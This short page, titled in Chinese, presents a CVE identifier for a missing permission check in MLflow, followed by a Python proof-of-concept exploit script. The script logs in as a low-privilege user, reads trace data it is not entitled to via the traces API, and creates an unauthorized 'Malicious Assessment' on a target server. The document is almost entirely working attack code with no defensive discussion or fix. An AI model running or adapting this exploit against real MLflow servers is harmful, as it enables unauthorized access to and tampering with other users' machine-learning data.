CVE-2025-15381 MLFlow权限校验缺失漏洞

import requests TARGET_URL = "http://target-mlflow-server:5000" USERNAME = "low_priv_user" PASSWORD = "password" session = requests.Session() # 1. Authenticate with low-privilege user login_payload = {"username": USERNAME, "password": PASSWORD} login_resp = session.post(f"{TARGET_URL}/login", data=login_payload) if login_resp.status_code != 200: print("Login failed") exit(1) print("[+] Logged in successfully") # 2. Exploit: Access Tracing Endpoint (Bypass Permission Check) # Assuming a trace_id exists that the user should not have access to trace_id = "arbitrary_trace_id" trace_resp = session.get(f"{TARGET_URL}/api/2.0/mlflow/traces/get?trace_id={trace_id}") print(f"[*] Attempting to access trace data...") if trace_resp.status_code == 200: print(f"[+] Successfully accessed trace data (Bypassed ACL): {trace_resp.json()}") else: print(f"[-] Failed to access trace data: {trace_resp.status_code}") # 3. Exploit: Create Unauthorized Assessment assessment_data = { "trace_id": trace_id, "name": "Malicious Assessment", "result": {"key": "value"} } assess_resp = session.post(f"{TARGET_URL}/api/2.0/mlflow/assessments/create", json=assessment_data) print(f"[*] Attempting to create assessment...") if assess_resp.status_code == 200: print(f"[+] Successfully created unauthorized assessment.") else: print(f"[-] Failed to create assessment: {assess_resp.status_code}")